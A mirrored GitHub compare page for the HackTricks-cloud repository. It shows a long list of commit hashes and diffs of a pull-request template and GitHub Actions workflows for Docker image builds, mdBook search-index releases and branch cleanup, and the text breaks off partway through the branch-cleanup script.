mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-09 22:30:47 -08:00
Compare commits
622 Commits
hi
...
searchinde
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
50520f6c7d | ||
|
|
1b274752fd | ||
|
|
63f5aa81e3 | ||
|
|
eb7245d3fd | ||
|
|
675092de06 | ||
|
|
570c0f46af | ||
|
|
2468851007 | ||
|
|
d0ebc37eb3 | ||
|
|
79fd264473 | ||
|
|
becec234f4 | ||
|
|
143e6bdfe9 | ||
|
|
2a5d2dea9e | ||
|
|
9b52c7953d | ||
|
|
07628e009a | ||
|
|
8d39c38b58 | ||
|
|
7097f55620 | ||
|
|
f96fed548e | ||
|
|
21b31a3be3 | ||
|
|
5d031d4518 | ||
|
|
1e51bb702d | ||
|
|
1111212cbb | ||
|
|
bb763109dc | ||
|
|
25af34d5a2 | ||
|
|
a10148e331 | ||
|
|
b904273a19 | ||
|
|
0aa87b8319 | ||
|
|
004e341804 | ||
|
|
24c1d54861 | ||
|
|
015b24f51c | ||
|
|
8589cf621f | ||
|
|
c8957b9107 | ||
|
|
ecebe97de5 | ||
|
|
fe691c5c50 | ||
|
|
de064b1b68 | ||
|
|
ea0f667e57 | ||
|
|
b7a1554deb | ||
|
|
1304799271 | ||
|
|
18e756320d | ||
|
|
78767e199c | ||
|
|
65816a9798 | ||
|
|
fc5e23269c | ||
|
|
89a2ab54ae | ||
|
|
f3afa739ad | ||
|
|
d11f3a3880 | ||
|
|
590e54ea9e | ||
|
|
f539a9e2d9 | ||
|
|
e153dc47b0 | ||
|
|
9242d2e4d9 | ||
|
|
37b03b3517 | ||
|
|
a6491998d2 | ||
|
|
dba44c006e | ||
|
|
b9b20e4567 | ||
|
|
391b11e92c | ||
|
|
19024e5a7c | ||
|
|
4d9445d2bb | ||
|
|
7f435558c4 | ||
|
|
a7ce58fa25 | ||
|
|
5b5e339f96 | ||
|
|
5bd2aafc8e | ||
|
|
00730ca794 | ||
|
|
923f510164 | ||
|
|
fec9bfb986 | ||
|
|
6a11053885 | ||
|
|
de46109976 | ||
|
|
fd19dc2304 | ||
|
|
599d45c50a | ||
|
|
5b2a228050 | ||
|
|
d1f95b1929 | ||
|
|
846ad61b73 | ||
|
|
c09016a56f | ||
|
|
77b76bfb00 | ||
|
|
3883d1a74e | ||
|
|
ebb51f81bb | ||
|
|
d761716a28 | ||
|
|
467491e1ae | ||
|
|
d05d94d995 | ||
|
|
bc1201eb61 | ||
|
|
15ff9a7d1c | ||
|
|
4880cb4574 | ||
|
|
05853fcc19 | ||
|
|
a45973b8a7 | ||
|
|
38dae42b81 | ||
|
|
5adcd244f6 | ||
|
|
33ca677b86 | ||
|
|
b1af5ce692 | ||
|
|
61ae9f83db | ||
|
|
07a16af4ec | ||
|
|
f45429555e | ||
|
|
f92d67cfdc | ||
|
|
d7c57cba6e | ||
|
|
a641fcea8a | ||
|
|
eb4f46f714 | ||
|
|
1ceeca1326 | ||
|
|
68267218a7 | ||
|
|
3901748f3d | ||
|
|
68de9f8acc | ||
|
|
236a8a2cec | ||
|
|
d373f62166 | ||
|
|
c2c232fd46 | ||
|
|
f3fd4b9294 | ||
|
|
dd2c5af442 | ||
|
|
ee4da87049 | ||
|
|
3b1f434a66 | ||
|
|
8db7266efb | ||
|
|
59437b9b32 | ||
|
|
ea3041d9a2 | ||
|
|
f171d1a97d | ||
|
|
855ef5fd9e | ||
|
|
3ff0c8a86f | ||
|
|
414eeda035 | ||
|
|
dac7b0f906 | ||
|
|
3b456ebc2e | ||
|
|
f0df70528a | ||
|
|
f705477774 | ||
|
|
aff8ab0252 | ||
|
|
06b577d42f | ||
|
|
14e986b2a7 | ||
|
|
581f09f904 | ||
|
|
c76cc24a59 | ||
|
|
15bde67918 | ||
|
|
3f16d3c5f3 | ||
|
|
82a44ea4c0 | ||
|
|
839f139795 | ||
|
|
b82a88252c | ||
|
|
c3cfb95b87 | ||
|
|
e0b92e3b7a | ||
|
|
f521c0d95a | ||
|
|
96b0de9ec9 | ||
|
|
6b96bae348 | ||
|
|
5fd9ed5048 | ||
|
|
3157069bde | ||
|
|
ccd50a451d | ||
|
|
0a1f3dea22 | ||
|
|
e1bc13c19c | ||
|
|
58c7ae8399 | ||
|
|
0ba0d247a8 | ||
|
|
6f8738f34f | ||
|
|
5a6cd9a85c | ||
|
|
ed2ae1e58f | ||
|
|
dbe2969386 | ||
|
|
97759b6cec | ||
|
|
95f380db6b | ||
|
|
65da889db0 | ||
|
|
45a7b74a0f | ||
|
|
4d2fa75b55 | ||
|
|
84bc28f8bb | ||
|
|
ebd15ccb63 | ||
|
|
f72768b30f | ||
|
|
7a92891381 | ||
|
|
e98c16371b | ||
|
|
b1b0b0c536 | ||
|
|
e324b93d88 | ||
|
|
baff049eb8 | ||
|
|
46a8364006 | ||
|
|
ce9f3f87af | ||
|
|
8655bc665f | ||
|
|
26022c0005 | ||
|
|
a315ad9465 | ||
|
|
26d6010bfd | ||
|
|
d613dc8ce7 | ||
|
|
e93215546e | ||
|
|
b4bb813717 | ||
|
|
ab12e74c5e | ||
|
|
55658adf68 | ||
|
|
e10e318840 | ||
|
|
3662845c9c | ||
|
|
7b475f151e | ||
|
|
cfacf65682 | ||
|
|
cacc26efe4 | ||
|
|
3f6485403c | ||
|
|
ec63e0077a | ||
|
|
8197352f5b | ||
|
|
e75ef47d73 | ||
|
|
4c5a2d0b51 | ||
|
|
f26eba3574 | ||
|
|
e1a1b2a31f | ||
|
|
d21b704799 | ||
|
|
278e22cf25 | ||
|
|
ba62c1ded8 | ||
|
|
e6af835b2d | ||
|
|
c3110e5dc2 | ||
|
|
c3d732d46b | ||
|
|
16833c8621 | ||
|
|
e004aa173d | ||
|
|
32d8b32e1f | ||
|
|
8cb8cf4b78 | ||
|
|
682420bd96 | ||
|
|
423b2f5d24 | ||
|
|
06302efcc4 | ||
|
|
12f8a8240c | ||
|
|
cc8c3b9bc7 | ||
|
|
e3be82da7b | ||
|
|
5c9151d0a9 | ||
|
|
4f8f9ebb5d | ||
|
|
a59586d035 | ||
|
|
6f5f13f1d1 | ||
|
|
d0a10b4b59 | ||
|
|
3153e9e112 | ||
|
|
4ba5101450 | ||
|
|
46317efe3f | ||
|
|
13cd85219b | ||
|
|
bb4337235e | ||
|
|
4adabb8e45 | ||
|
|
64e6b18369 | ||
|
|
e79a494c75 | ||
|
|
e8310823ee | ||
|
|
94d6bb7be6 | ||
|
|
3886eb0679 | ||
|
|
b4a33ce277 | ||
|
|
b206e184f6 | ||
|
|
1562438890 | ||
|
|
9c7ae3465b | ||
|
|
afef551baa | ||
|
|
45f06743a5 | ||
|
|
2cf7ab9070 | ||
|
|
a67f9f67e9 | ||
|
|
b76f4ee32e | ||
|
|
c57b961d3f | ||
|
|
6a65d520db | ||
|
|
2d8e6cc317 | ||
|
|
1af7a95753 | ||
|
|
81bd25041e | ||
|
|
a2fc1bb9e4 | ||
|
|
245801a8f3 | ||
|
|
c8ee4e1f63 | ||
|
|
87d7a35977 | ||
|
|
df415302d4 | ||
|
|
227bd60d9d | ||
|
|
6113778d42 | ||
|
|
6229cc5c3f | ||
|
|
cc3464f588 | ||
|
|
84c84de0f6 | ||
|
|
1af5f28379 | ||
|
|
d22733b802 | ||
|
|
13e0bddd0c | ||
|
|
2f1397e2df | ||
|
|
a1718ef3d5 | ||
|
|
c01bb34d34 | ||
|
|
57d0f100e5 | ||
|
|
9e731ee081 | ||
|
|
f37c444854 | ||
|
|
cb0f15bd18 | ||
|
|
05ef9e4e88 | ||
|
|
653f16bf02 | ||
|
|
02f3d3d27e | ||
|
|
fd7e52a9f0 | ||
|
|
a31a609a53 | ||
|
|
2d20c080f1 | ||
|
|
a1abf4a40e | ||
|
|
3267900f8e | ||
|
|
d24b4f4947 | ||
|
|
cb93bc9325 | ||
|
|
89bd5603b5 | ||
|
|
a214e36c16 | ||
|
|
46fb09dbc7 | ||
|
|
c6c5326731 | ||
|
|
0d99994b28 | ||
|
|
518ec63594 | ||
|
|
365ec0ea1b | ||
|
|
55bb9cabcd | ||
|
|
b63860c1b3 | ||
|
|
f396d310ed | ||
|
|
fb64ce166d | ||
|
|
60fe5b65e9 | ||
|
|
d6a90112e4 | ||
|
|
8ac043f850 | ||
|
|
d0ca3b4c13 | ||
|
|
0721cb17a8 | ||
|
|
0a7aa1d734 | ||
|
|
f976ae1b70 | ||
|
|
73895ccc90 | ||
|
|
a0c66139cf | ||
|
|
6d3e83b6fa | ||
|
|
323213ba74 | ||
|
|
f87ea41409 | ||
|
|
fa3baebd58 | ||
|
|
ecb7b8f136 | ||
|
|
64bb51ab33 | ||
|
|
043f28492d | ||
|
|
7136d61e6b | ||
|
|
aa4d2f583f | ||
|
|
5276c9c7db | ||
|
|
005dee76e9 | ||
|
|
954173982d | ||
|
|
014036afb7 | ||
|
|
ff9846dbc6 | ||
|
|
5c6a20ff62 | ||
|
|
524edcbc09 | ||
|
|
8be8f721ca | ||
|
|
d7937f5851 | ||
|
|
8cca683281 | ||
|
|
29db46c537 | ||
|
|
35075688aa | ||
|
|
49023a7e71 | ||
|
|
ec902048e6 | ||
|
|
413635f6ed | ||
|
|
160cdf0767 | ||
|
|
ce9d8e9162 | ||
|
|
27bda8c014 | ||
|
|
d9b93c0df5 | ||
|
|
62ee9ee386 | ||
|
|
1c761c2a55 | ||
|
|
849a545f21 | ||
|
|
cfc01c0374 | ||
|
|
6915cfa68c | ||
|
|
aed8d2e643 | ||
|
|
b2bf4d9b07 | ||
|
|
6788b5e0a5 | ||
|
|
5c702e69b9 | ||
|
|
42f78679a2 | ||
|
|
6c40f6cac4 | ||
|
|
fcb6c989fc | ||
|
|
8d310c43f5 | ||
|
|
27d96d81e1 | ||
|
|
6d88cb548f | ||
|
|
1216308b18 | ||
|
|
00f4a32ae3 | ||
|
|
96579673c1 | ||
|
|
f8c4c4d8ac | ||
|
|
3902e8cafd | ||
|
|
39876cd315 | ||
|
|
d668cf5452 | ||
|
|
d54cb2b5ff | ||
|
|
c79c359fd2 | ||
|
|
1efe5e7e77 | ||
|
|
7991ff4fae | ||
|
|
045b6c2320 | ||
|
|
ab888d748c | ||
|
|
5d3c7b0348 | ||
|
|
d77d87d686 | ||
|
|
9c0cfb6529 | ||
|
|
2730856acc | ||
|
|
221636beae | ||
|
|
740801ab61 | ||
|
|
23ce7a243e | ||
|
|
13f89a6674 | ||
|
|
776d9f73df | ||
|
|
c8c09b0abb | ||
|
|
329ef07c7e | ||
|
|
aad012f215 | ||
|
|
50029a6488 | ||
|
|
5bb4e02a58 | ||
|
|
c0a3872982 | ||
|
|
a19517f026 | ||
|
|
429913c5ec | ||
|
|
2d32b37d9c | ||
|
|
77da1e58ca | ||
|
|
516553f4bf | ||
|
|
188b9a7b0a | ||
|
|
58556acb7d | ||
|
|
0148473b67 | ||
|
|
b832183456 | ||
|
|
3e96d64e50 | ||
|
|
7336c976ae | ||
|
|
def87f1ffb | ||
|
|
b715d43fad | ||
|
|
c6b3795cc5 | ||
|
|
8fa715b08d | ||
|
|
aeb3f8b582 | ||
|
|
568e936ca0 | ||
|
|
2456bca341 | ||
|
|
f138e0366f | ||
|
|
c089890c84 | ||
|
|
901725b847 | ||
|
|
fea4bb8938 | ||
|
|
7026e4e728 | ||
|
|
0e15aeffba | ||
|
|
b7dc63cd26 | ||
|
|
4c9c8c10ac | ||
|
|
64f5661515 | ||
|
|
bee34f3c05 | ||
|
|
2f84f3f328 | ||
|
|
892232fe26 | ||
|
|
c71aa6f7b1 | ||
|
|
ab3e89c82d | ||
|
|
caf320e355 | ||
|
|
e841f06505 | ||
|
|
6456eab2cf | ||
|
|
3c746383c6 | ||
|
|
064162062f | ||
|
|
e3ca81040e | ||
|
|
4313cc72bc | ||
|
|
80b91382f3 | ||
|
|
0828130954 | ||
|
|
94e634230a | ||
|
|
5e48ce18e0 | ||
|
|
61c70bfefd | ||
|
|
ce2ede1e01 | ||
|
|
127c85e7d2 | ||
|
|
40e08a1893 | ||
|
|
e746e3e353 | ||
|
|
0f7175eb98 | ||
|
|
d109bb6b44 | ||
|
|
2505aec847 | ||
|
|
cc5dc4c885 | ||
|
|
09a10afd24 | ||
|
|
0d9b4e5917 | ||
|
|
ad0fd2ac62 | ||
|
|
47c4eb2f02 | ||
|
|
8b8705f5a2 | ||
|
|
e82c35b07f | ||
|
|
5f47797e6a | ||
|
|
90a2f79a0f | ||
|
|
baa1c7240d | ||
|
|
0f6da30192 | ||
|
|
06d67a4432 | ||
|
|
f9413e0d34 | ||
|
|
31acbca2ed | ||
|
|
e938af6965 | ||
|
|
8d0d445b93 | ||
|
|
9cd2ef8e2f | ||
|
|
c4b06ab12c | ||
|
|
5537bfe63d | ||
|
|
6e477bc296 | ||
|
|
46af6b9474 | ||
|
|
e6644e6caa | ||
|
|
fcc20e6908 | ||
|
|
8be9956703 | ||
|
|
2be77df66d | ||
|
|
8594fa5343 | ||
|
|
ba04a6a2ff | ||
|
|
d2f2655fc4 | ||
|
|
5a5104fe95 | ||
|
|
ef85d7fdd5 | ||
|
|
83bc9f97e8 | ||
|
|
d3b9883283 | ||
|
|
81acaa16e0 | ||
|
|
70d0f13e7e | ||
|
|
8392cf548c | ||
|
|
0b97b3caff | ||
|
|
4df9252db4 | ||
|
|
3350e31738 | ||
|
|
17be115fa6 | ||
|
|
ccbbfaee00 | ||
|
|
b98496aaed | ||
|
|
30399528e4 | ||
|
|
650655363f | ||
|
|
615a959bb6 | ||
|
|
0d198fe961 | ||
|
|
abbd0a816b | ||
|
|
13df9aee51 | ||
|
|
eb110dfd72 | ||
|
|
491627bf9f | ||
|
|
ca5a9e1037 | ||
|
|
7537334e2c | ||
|
|
bb664c142d | ||
|
|
4eafaed2b1 | ||
|
|
e158438a0f | ||
|
|
57da0bf8db | ||
|
|
ae7aefe448 | ||
|
|
19401f19d6 | ||
|
|
92b3c384c8 | ||
|
|
0d26e5ed8c | ||
|
|
cd5de3879c | ||
|
|
dc557dad46 | ||
|
|
d6597f9990 | ||
|
|
77a117d772 | ||
|
|
699a707bb6 | ||
|
|
b741525093 | ||
|
|
60b1ca6b88 | ||
|
|
30236714f5 | ||
|
|
f258a13eef | ||
|
|
4e491e3f55 | ||
|
|
b3cfc40029 | ||
|
|
26bf439a59 | ||
|
|
3757efbd43 | ||
|
|
d13ebeaeb5 | ||
|
|
3f01e5e4fa | ||
|
|
8452766003 | ||
|
|
9bea483104 | ||
|
|
7162236a6b | ||
|
|
f5c7490026 | ||
|
|
2383d6958b | ||
|
|
fd5fc9957a | ||
|
|
d42d244a6a | ||
|
|
117bb933af | ||
|
|
9a9ea3101f | ||
|
|
ec6fcd37f0 | ||
|
|
551524079b | ||
|
|
92d27a9632 | ||
|
|
cfcc836974 | ||
|
|
7838f68347 | ||
|
|
452fb430b3 | ||
|
|
ba94d85a36 | ||
|
|
a9b9e95899 | ||
|
|
5a2543873e | ||
|
|
b353597cd3 | ||
|
|
9ed1b29bb9 | ||
|
|
01295fcd13 | ||
|
|
81d2665909 | ||
|
|
873eba38c0 | ||
|
|
979ea57c3b | ||
|
|
ae6616b63b | ||
|
|
dbac949488 | ||
|
|
3e06c28e43 | ||
|
|
5d21fb67a6 | ||
|
|
25395ae94a | ||
|
|
626155bec1 | ||
|
|
8f02f9f5a5 | ||
|
|
d9c68fcf04 | ||
|
|
c76f3defdd | ||
|
|
569f2be7c9 | ||
|
|
416e7cf699 | ||
|
|
480c6ba178 | ||
|
|
8f6514eed9 | ||
|
|
6736e6d5c8 | ||
|
|
1bc1085d79 | ||
|
|
50f10aa913 | ||
|
|
bb6035c0ca | ||
|
|
b6310f4ac6 | ||
|
|
9bcaf7c6df | ||
|
|
a60a5be8d2 | ||
|
|
250329b9aa | ||
|
|
64ab139a57 | ||
|
|
38ec0650ca | ||
|
|
a027dd2a21 | ||
|
|
1e69b05fe7 | ||
|
|
9f84500da6 | ||
|
|
62664886c7 | ||
|
|
e4b1066789 | ||
|
|
0f2e9443ca | ||
|
|
dbb3f98a12 | ||
|
|
234398ad6e | ||
|
|
a6e5b378be | ||
|
|
cdd6583bb6 | ||
|
|
12c468f714 | ||
|
|
0996afea1b | ||
|
|
3fd7b2b8a2 | ||
|
|
e47fdfb9ea | ||
|
|
d6f87481ef | ||
|
|
3000c3b4fe | ||
|
|
15ce1f2a40 | ||
|
|
8ec34fc329 | ||
|
|
5d6efaa6a6 | ||
|
|
73e6fee408 | ||
|
|
833b571498 | ||
|
|
37bf365f5b | ||
|
|
8b52bc23a3 | ||
|
|
d9f6b34673 | ||
|
|
9021590856 | ||
|
|
8ea0f4a3f1 | ||
|
|
78334993a2 | ||
|
|
e8cee6743c | ||
|
|
55fc400bf7 | ||
|
|
dc16c9ff9f | ||
|
|
6d926a6f72 | ||
|
|
d9a7ae2880 | ||
|
|
be659333c8 | ||
|
|
cb67f59e59 | ||
|
|
b3f82cc35c | ||
|
|
1f00ec798e | ||
|
|
782d409f47 | ||
|
|
30f14affe7 | ||
|
|
65cfe4be40 | ||
|
|
39ef4428ef | ||
|
|
de7e5d2eb0 | ||
|
|
78f6ebfdc9 | ||
|
|
4b9cb59f09 | ||
|
|
3b671863b3 | ||
|
|
110692ec5f | ||
|
|
065d29019c | ||
|
|
184a36301a | ||
|
|
c3b572db87 | ||
|
|
894d2f8dc6 | ||
|
|
3eff514680 | ||
|
|
4fae1360a8 | ||
|
|
372ccdf299 | ||
|
|
0c3d697d67 | ||
|
|
cdf8430598 | ||
|
|
432e916b2f | ||
|
|
cb23139acd | ||
|
|
1a41153b95 | ||
|
|
06184f73ec | ||
|
|
bde9b73eb1 | ||
|
|
69db82891a | ||
|
|
52142003ec | ||
|
|
a850e268dc | ||
|
|
cc120ade68 | ||
|
|
3000248da2 | ||
|
|
1a5f666c80 | ||
|
|
95f91529c7 | ||
|
|
b65df65002 | ||
|
|
1c333d4cab | ||
|
|
b0794c4b1c | ||
|
|
009ef58e30 | ||
|
|
ad6c542f82 | ||
|
|
3a7480d764 | ||
|
|
4b71029629 | ||
|
|
c1aee098b6 | ||
|
|
ec0ff62bcb | ||
|
|
2244c6b485 | ||
|
|
61bc94e77d | ||
|
|
13358c1371 | ||
|
|
1e29cb77cc | ||
|
|
d65983432b | ||
|
|
18d1953edd | ||
|
|
c395861d3d | ||
|
|
d9247bf598 | ||
|
|
853e602bc2 | ||
|
|
8750a93d41 | ||
|
|
b918609383 | ||
|
|
3d1f96fd4a | ||
|
|
9eec79f700 | ||
|
|
8a25a0856f | ||
|
|
e67cc3f450 | ||
|
|
194ae6d76b | ||
|
|
d53ffc12eb | ||
|
|
c520826284 | ||
|
|
7a0a0329a7 | ||
|
|
a7bf8124da | ||
|
|
b340bf8ada | ||
|
|
bad627b7db | ||
|
|
96cc8f9772 | ||
|
|
1922e106fd | ||
|
|
d7d5e4a93c | ||
|
|
716aa06779 | ||
|
|
4ef00e6b1b | ||
|
|
2beb8398a6 | ||
|
|
d0b9174054 | ||
|
|
d0e6a85e6f | ||
|
|
d96df379fd | ||
|
|
4d622f5500 |
15
.github/pull_request_template.md
vendored
15
.github/pull_request_template.md
vendored
@@ -1,11 +1,16 @@
|
||||
आप इस सामग्री को PR भेजने से पहले हटा सकते हैं:
|
||||
You can remove this content before sending the PR:
|
||||
|
||||
## Attribution
|
||||
हम आपके ज्ञान की सराहना करते हैं और आपको सामग्री साझा करने के लिए प्रोत्साहित करते हैं। कृपया सुनिश्चित करें कि आप केवल वही सामग्री अपलोड करें जो आपकी हो या जिसे आप मूल लेखक से साझा करने की अनुमति रखते हों (जोड़े गए पाठ में लेखक का संदर्भ जोड़ना या उस पृष्ठ के अंत में जिसे आप संशोधित कर रहे हैं या दोनों)। बौद्धिक संपदा अधिकारों के प्रति आपका सम्मान सभी के लिए एक विश्वसनीय और कानूनी साझा करने का वातावरण बनाता है।
|
||||
We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone.
|
||||
|
||||
## HackTricks Training
|
||||
यदि आप ऐसा जोड़ रहे हैं ताकि आप [ARTE certification](https://training.hacktricks.xyz/courses/arte) परीक्षा में 2 झंडों के साथ पास कर सकें, तो आपको PR को `arte-<username>` नाम देना होगा।
|
||||
If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-<username>`.
|
||||
|
||||
Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction.
|
||||
|
||||
|
||||
In any case, thanks for contributing to HackTricks!
|
||||
|
||||
|
||||
|
||||
इसके अलावा, याद रखें कि व्याकरण/वाक्य रचना सुधारों को परीक्षा झंडा कमी के लिए स्वीकार नहीं किया जाएगा।
|
||||
|
||||
किसी भी मामले में, HackTricks में योगदान देने के लिए धन्यवाद!
|
||||
|
||||
56
.github/workflows/build_docker.yml
vendored
Normal file
56
.github/workflows/build_docker.yml
vendored
Normal file
@@ -0,0 +1,56 @@
|
||||
name: Build and Push Docker Image
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
- 'book/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: build_docker
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
build-and-push:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
# 1. Check out the repository to get the Dockerfile
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
# 2. Log into GitHub Container Registry
|
||||
- name: Log in to GHCR
|
||||
uses: docker/login-action@v2
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
# 3. Build and push
|
||||
- name: Build and push Docker image
|
||||
run: |
|
||||
# Define image name
|
||||
IMAGE_NAME=ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image
|
||||
|
||||
# Build Docker image
|
||||
docker build -t $IMAGE_NAME:latest .
|
||||
|
||||
# Push Docker image to GHCR
|
||||
docker push $IMAGE_NAME:latest
|
||||
|
||||
# Set image visibility to public
|
||||
curl -X PATCH \
|
||||
-H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/packages/container/translator-image/visibility \
|
||||
-d '{"visibility":"public"}'
|
||||
78
.github/workflows/build_master.yml
vendored
78
.github/workflows/build_master.yml
vendored
@@ -14,12 +14,15 @@ on:
|
||||
concurrency: build_master
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
container:
|
||||
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
|
||||
environment: prod
|
||||
|
||||
steps:
|
||||
@@ -27,32 +30,65 @@ jobs:
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
run: MDBOOK_BOOK__LANGUAGE=en mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
|
||||
|
||||
# Cat hacktricks-preprocessor.log
|
||||
#- name: Cat hacktricks-preprocessor.log
|
||||
# run: cat hacktricks-preprocessor.log
|
||||
- name: Install GitHub CLI
|
||||
run: |
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y
|
||||
|
||||
- name: Publish search index release asset
|
||||
shell: bash
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
ASSET="book/searchindex.js"
|
||||
TAG="searchindex-en"
|
||||
TITLE="Search Index (en)"
|
||||
|
||||
if [ ! -f "$ASSET" ]; then
|
||||
echo "Expected $ASSET to exist after build" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TOKEN="${GITHUB_TOKEN}"
|
||||
if [ -z "$TOKEN" ]; then
|
||||
echo "No token available for GitHub CLI" >&2
|
||||
exit 1
|
||||
fi
|
||||
export GH_TOKEN="$TOKEN"
|
||||
|
||||
# Delete the release if it exists
|
||||
echo "Checking if release $TAG exists..."
|
||||
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
|
||||
echo "Release $TAG already exists, deleting it..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || {
|
||||
echo "Failed to delete release, trying without cleanup-tag..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || {
|
||||
echo "Warning: Could not delete existing release, will try to recreate..."
|
||||
}
|
||||
}
|
||||
sleep 2 # Give GitHub API a moment to process the deletion
|
||||
else
|
||||
echo "Release $TAG does not exist, proceeding with creation..."
|
||||
fi
|
||||
|
||||
# Create new release (with force flag to overwrite if deletion failed)
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || {
|
||||
echo "Failed to create release, trying with force flag..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true
|
||||
sleep 2
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
|
||||
}
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
|
||||
204
.github/workflows/cleanup_branches.yml
vendored
Normal file
204
.github/workflows/cleanup_branches.yml
vendored
Normal file
@@ -0,0 +1,204 @@
|
||||
name: Cleanup Merged/Closed PR Branches
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: '0 2 * * 0' # Every Sunday at 2 AM UTC
|
||||
workflow_dispatch: # Allow manual triggering
|
||||
inputs:
|
||||
dry_run:
|
||||
description: 'Dry run (show what would be deleted without actually deleting)'
|
||||
required: false
|
||||
default: 'false'
|
||||
type: boolean
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
pull-requests: read
|
||||
|
||||
jobs:
|
||||
cleanup-branches:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0 # Need full history to see all branches
|
||||
token: ${{ secrets.PAT_TOKEN }}
|
||||
|
||||
- name: Install GitHub CLI
|
||||
run: |
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y
|
||||
|
||||
- name: Configure git
|
||||
run: |
|
||||
git config --global user.email "action@github.com"
|
||||
git config --global user.name "GitHub Action"
|
||||
|
||||
- name: Cleanup merged/closed PR branches
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.PAT_TOKEN }}
|
||||
run: |
|
||||
echo "Starting branch cleanup process..."
|
||||
|
||||
# Check if this is a dry run
|
||||
DRY_RUN="${{ github.event.inputs.dry_run || 'false' }}"
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo "🔍 DRY RUN MODE - No branches will actually be deleted"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
# Define protected branches and patterns
|
||||
protected_branches=(
|
||||
"master"
|
||||
"main"
|
||||
)
|
||||
|
||||
# Translation branch patterns (any 2-letter combination)
|
||||
translation_pattern="^[a-zA-Z]{2}$"
|
||||
|
||||
# Get all remote branches except protected ones
|
||||
echo "Fetching all remote branches..."
|
||||
git fetch --all --prune
|
||||
|
||||
# Get list of all remote branches (excluding HEAD)
|
||||
all_branches=$(git branch -r | grep -v 'HEAD' | sed 's/origin\///' | grep -v '^$')
|
||||
|
||||
# Get all open PRs to identify branches with open PRs
|
||||
echo "Getting list of open PRs..."
|
||||
